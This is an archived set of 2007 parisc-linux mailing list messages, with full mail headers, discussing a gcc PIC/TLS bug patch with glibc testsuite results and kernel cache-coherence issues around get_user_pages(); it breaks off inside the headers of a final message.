    ls -l `find /usr -type f`

Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Thu, 3 May 2007 08:52:59 -0400
Lines: 115
Approved: news@gmane.org
Message-ID: <5b2e36650705030552l100c7ecayfc848248aac679c9__943.750449414615$1416624348$gmane$org@mail.gmail.com>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624348 23692 80.91.229.3 (22 Nov 2014 02:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 12:53:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 03 May 2007 14:53:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7DE17DBAE;
	Thu,  3 May 2007 06:53:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32343-05; Thu, 3 May 2007 06:53:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43E8C7DBAF;
	Thu,  3 May 2007 06:53:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A4617DBAC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 06:53:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32279-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 06:53:01 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.231])
	by free.linux.hp.com (Postfix) with ESMTP id 5FCE37DBAB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 06:53:01 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id o37so590085nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 05:53:00 -0700 (PDT)
Original-Received: by 10.114.176.1 with SMTP id y1mr651204wae.1178196780033;
	Thu, 03 May 2007 05:53:00 -0700 (PDT)
Original-Received: by 10.114.126.12 with HTTP; Thu, 3 May 2007 05:52:59 -0700 (PDT)
In-Reply-To: <200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: A+kKcloaX1Vpz+uYY2Fy2t93SDc4NExU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24511

To work around the gcc pic/tls bug, I'm using this patch:
http://people.ubuntu.com/~jbailey/hppa-caller-save-pic-tls.dpatch

I thought it would be interesting to compare glibc testsuite failures:
No longer fails:
tst-memstream2
tst-wmemstream2
bug-atexit3-lib
tst-timer5
tst-cpuclock2

New failures:
tststatic
tststatic2
tst-conf18
tst-oddstacklimit (segfaults)
tst-mqueue3
tst-time5
tst-tls9-static

Full lists below:

Build with gcc without the patch.
test-float
test-double
test-idouble
tst-memstream2
tst-wmemstream2
bug-atexit3-lib
tst-cond16
tst-cond17
tst-cancel24
tst-cancelx4
tst-cancelx5
tst-cancelx8
tst-cancelx9
tst-cancelx10
tst-cancelx11
tst-cancelx12
tst-cancelx13
tst-cancelx14
tst-cancelx15
tst-cancelx16
tst-cancelx17
tst-cancelx18
tst-cancelx20
tst-cancelx21
tst-cleanupx0
tst-cleanupx1
tst-cleanupx3
tst-cleanupx4
tst-oncex3
tst-oncex4
tst-timer4
tst-timer5
tst-cpuclock2
tst-cputimer1
tst-cputimer2
tst-cputimer3
tst-pie1 (139)
tst-audit2
tst-addr1
check-textrel

Build with the gcc with the patch:
test-float
test-double
test-idouble
tststatic
tststatic2
tst-cond16
tst-cond17
tst-conf18
tst-oddstacklimit (139)
tst-cancelx4
tst-cancelx5
tst-cancelx8
tst-cancelx9
tst-cancelx10
tst-cancelx11
tst-cancelx12
tst-cancelx13
tst-cancelx14
tst-cancelx15
tst-cancelx16
tst-cancelx17
tst-cancelx18
tst-cancelx20
tst-cancelx21
tst-cleanupx0
tst-cleanupx1
tst-cleanupx3
tst-cleanupx4
tst-oncex3
tst-oncex4
tst-mqueue3
tst-timer4
tst-time5
tst-cputimer1
tst-cputimer2
tst-cputimer3
tst-pie1 (139)
tst-tls9-static
tst-audit2
tst-addr1
check-textrel

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Thu, 03 May 2007 15:06:00 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <4639DE38.3000108__40671.6959587813$1416624348$gmane$org@aurel32.net>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624348 23694 80.91.229.3 (22 Nov 2014 02:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 13:06:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 03 May 2007 15:06:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A15D07DB50;
	Thu,  3 May 2007 07:06:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32565-04; Thu, 3 May 2007 07:06:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88A887DBA5;
	Thu,  3 May 2007 07:06:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1C187DB4C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 07:06:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32571-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 07:06:17 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id DD95D7DB47
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 07:06:16 -0600 (MDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1Hjb0e-0002Yi-E1; Thu, 03 May 2007 15:06:12 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070329)
In-Reply-To: <5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bekKcgUlf2I/3YicY2xoVylwdWxlc1b9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24512

Jeff Bailey a écrit :
> To work around the gcc pic/tls bug, I'm using this patch:
> http://people.ubuntu.com/~jbailey/hppa-caller-save-pic-tls.dpatch
> 

I have also made a patch to fix the problem that seems to work
correctly. I have posted it to gcc-patches, you can also find it as a
dpatch on http://temp.aurel32.net/hppa-caller-save-pic-tls.dpatch

My machine is too slow to build a glibc (I am doing my gcc tests on
paer.d.o). Would it be possible to do the same tests with my patch?

Thanks,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Thu, 3 May 2007 10:23:48 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <5b2e36650705030723v4a9b14c6v2bfa9251335524db__925.593594047491$1416624348$gmane$org@mail.gmail.com>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
	<4639DE38.3000108@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1593861432=="
X-Trace: ger.gmane.org 1416624348 23701 80.91.229.3 (22 Nov 2014 02:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Aurelien Jarno" <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 14:24:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 03 May 2007 16:24:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A92AE7DBCC;
	Thu,  3 May 2007 08:23:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00657-09; Thu, 3 May 2007 08:23:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59CD97DBC6;
	Thu,  3 May 2007 08:23:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5F517DBAD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 08:23:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00657-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 08:23:50 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.235])
	by free.linux.hp.com (Postfix) with ESMTP id EB6867DBAA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 08:23:49 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id o37so629477nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 07:23:49 -0700 (PDT)
Original-Received: by 10.114.166.1 with SMTP id o1mr676229wae.1178202228554;
	Thu, 03 May 2007 07:23:48 -0700 (PDT)
Original-Received: by 10.114.126.12 with HTTP; Thu, 3 May 2007 07:23:48 -0700 (PDT)
In-Reply-To: <4639DE38.3000108@aurel32.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: usgPDwAQQEVsxejDZnVpKfBKNzg2NUL3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24513

--===============1593861432==
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMDMvMDUvMDcsIEF1cmVsaWVuIEphcm5vIDxhdXJlbGllbkBhdXJlbDMyLm5ldD4gd3JvdGU6
Cj4gSmVmZiBCYWlsZXkgYSDDqWNyaXQgOgo+ID4gVG8gd29yayBhcm91bmQgdGhlIGdjYyBwaWMv
dGxzIGJ1ZywgSSdtIHVzaW5nIHRoaXMgcGF0Y2g6Cj4gPiBodHRwOi8vcGVvcGxlLnVidW50dS5j
b20vfmpiYWlsZXkvaHBwYS1jYWxsZXItc2F2ZS1waWMtdGxzLmRwYXRjaAo+ID4KPgo+IEkgaGF2
ZSBhbHNvIG1hZGUgYSBwYXRjaCB0byBmaXggdGhlIHByb2JsZW0gdGhhdCBzZWVtcyB0byB3b3Jr
Cj4gY29ycmVjdGx5LiBJIGhhdmUgcG9zdGVkIGl0IHRvIGdjYy1wYXRjaGVzLCB5b3UgY2FuIGFs
c28gZmluZCBpdCBhcyBhCj4gZHBhdGNoIG9uIGh0dHA6Ly90ZW1wLmF1cmVsMzIubmV0L2hwcGEt
Y2FsbGVyLXNhdmUtcGljLXRscy5kcGF0Y2gKPgo+IE15IG1hY2hpbmUgaXMgdG9vIHNsb3cgdG8g
YnVpbGQgYSBnbGliYyAoSSBhbSBkb2luZyBteSBnY2MgdGVzdHMgb24KPiBwYWVyLmQubykuIFdv
dWxkIGl0IGJlIHBvc3NpYmxlIHRvIGRvIHRoZSBzYW1lIHRlc3RzIHdpdGggbXkgcGF0Y2g/CgpO
aWNlLCB3aWxsIGRvLiAgSSdtIGp1c3QgYnVpbGRpbmcgZ2NqLTQuMSB0byBzZWUgaWYgdGhpcyBm
aXhlcyB0aGUKTnVsbFBvaW50ZXJFeGNlcHRpb25zIHRoYXQgSSdtIGdldHRpbmcuICBTbyBmYXIg
aXQgbG9va3MgbGlrZSBpdApkb2Vzbid0LiA9KCAgQXQgbHVuY2gsIEknbGwgc3RhcnQgdGhlIGdj
YyByZWJ1aWxkIHdpdGggeW91ciBwYXRjaC4KClRrcywKSmVmZiBCYWlsZXkKCi0tIApKZWZmIEJh
aWxleSAtIGh0dHA6Ly93d3cucmFzcGJlcnJ5Z2luZ2VyLmNvbS9qYmFpbGV5Lwo=

--===============1593861432==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1593861432==--



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 03 May 2007 09:53:05 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1178203985.3714.11.camel__948.65729702196$1416624349$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624349 23706 80.91.229.3 (22 Nov 2014 02:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:49 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 14:53:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 03 May 2007 16:53:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3B037DBCC;
	Thu,  3 May 2007 08:53:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01234-03; Thu, 3 May 2007 08:53:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 891957DBCD;
	Thu,  3 May 2007 08:53:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F29947DBC8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 08:53:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00957-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 08:53:11 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id EB3937DBC6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 08:53:10 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l43Er6k30168; 
	Thu, 3 May 2007 10:53:06 -0400
In-Reply-To: <65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U8EMdzw/bUkoyunGPWgnFohkZ2hlNwrC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24514

On Thu, 2007-05-03 at 01:11 -0700, Ollie Wild wrote:
> Thanks, James.
> 
> > The first thing this does is
> > immediately decohere the page because we zero it through the user
> > mapping before adding it to the vma.  Fortunately get_user_pages()
> > should make it coherent again.
> 
> This is the critical insight I was missing.  I was assuming the page
> was unaccessed prior to mapping it into the kernel.  The zeroing
> hadn't occurred to me.  Unfortunately, it looks like get_user_pages()
> doesn't make it coherent again.  Calling flush_kernel_dcache_page()
> alone fails to resolve the problem.  Calling flush_cache_page() after
> kmap() and flush_kernel_dcache_page() before kunmap() does.

No, you're perverting the use of get_user_pages() ... it's designed to
get mapping backed pages.  I already did one fix for it so the fuse
people could use it to get anonymous pages ... I have a nasty feeling
stack pages are neither file backed nor anonymous.

Really, given the page is already present and cached in user space, why
not just copy through the user mappings instead of trying to map the
pages into the kernel an then fix up coherence issues, copy then push
the coherency back to the user ... the API you want is copy_in_user().

James


> Is this a bug in get_user_pages()?  Should it be calling
> flush_cache_page() directly?
> 
> By the way, I've left my kernel running on iodine.  Try running:
> 
>     ulimit -s unlimited
>     ls -l `find /usr -type f`
> 
> Ollie

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Thu, 3 May 2007 19:39:36 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <7d01f9f00705031039v20fafffcyf701f8a50cede9e0__19013.9082762927$1416624349$gmane$org@mail.gmail.com>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
	<4639DE38.3000108@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624349 23708 80.91.229.3 (22 Nov 2014 02:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aurelien Jarno" <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 17:39:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 03 May 2007 19:39:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAC217DBCC;
	Thu,  3 May 2007 11:39:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01986-08; Thu, 3 May 2007 11:39:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B58D7DBD0;
	Thu,  3 May 2007 11:39:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 759447DBC2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 11:39:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
